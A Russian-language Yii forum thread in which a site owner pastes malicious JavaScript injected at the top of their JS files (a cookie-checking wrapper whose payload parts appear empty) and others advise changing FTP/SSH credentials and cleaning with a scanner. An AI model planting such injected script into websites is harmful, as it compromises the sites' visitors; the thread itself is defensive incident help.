Вирус

Общие вопросы по использованию фреймворка. Если не знаете как что-то сделать и это про Yii, вам сюда.
Ответить
tai
Сообщения: 64
Зарегистрирован: 2013.03.05, 10:10

Вирус

Сообщение tai »

Добрый день!

Начали появляться вирусы в js-файлах
В начало файла добавляются строчки

Код: Выделить всё

/*
853ueoba
*/(function(){
function stripos (f_haystack, f_needle, f_offset) {
 var haystack = (f_haystack + '').toLowerCase();
 var needle = (f_needle + '').toLowerCase();
 var index = 0;
 if ((index = haystack.indexOf(needle, f_offset)) !== -1) {
  return index;
 }
 return false;
}
function setCookie(name, value, expires) {
 var date = new Date( new Date().getTime() + expires*1000 );
 document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
 var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
 
}
 var cookie = getCookie('p21nt198sc');
 if (cookie == undefined) {
      
  
 }
})();/*
opp0987643
*/

Скорее всего вирусы попали через виджет календаря CJuiDateTimePicker.
Как защитить свой сайт от вируса?
lynicidn
Сообщения: 2222
Зарегистрирован: 2014.05.24, 15:12

Re: Вирус

Сообщение lynicidn »

вирусы попали изза дыры в сервере
mickgeek
Сообщения: 957
Зарегистрирован: 2014.05.31, 20:50
Откуда: Санкт-Петербург
Контактная информация:

Re: Вирус

Сообщение mickgeek »

В первую очередь, смените данные для FTP доступа, SSH и пр. Далее, очистите или замените заражённые файлы. Если не поможет, вылечите сайт с помощью специального сканера, например AI-Bolit.
tai
Сообщения: 64
Зарегистрирован: 2013.03.05, 10:10

Re: Вирус

Сообщение tai »

Спасибо! Как раз этим сканером все почистил. Т.е. взлом из-за слабой защиты сервера произошел, а не как не из-за виджета (кроме этого виджета у меня все стандартное)
Ответить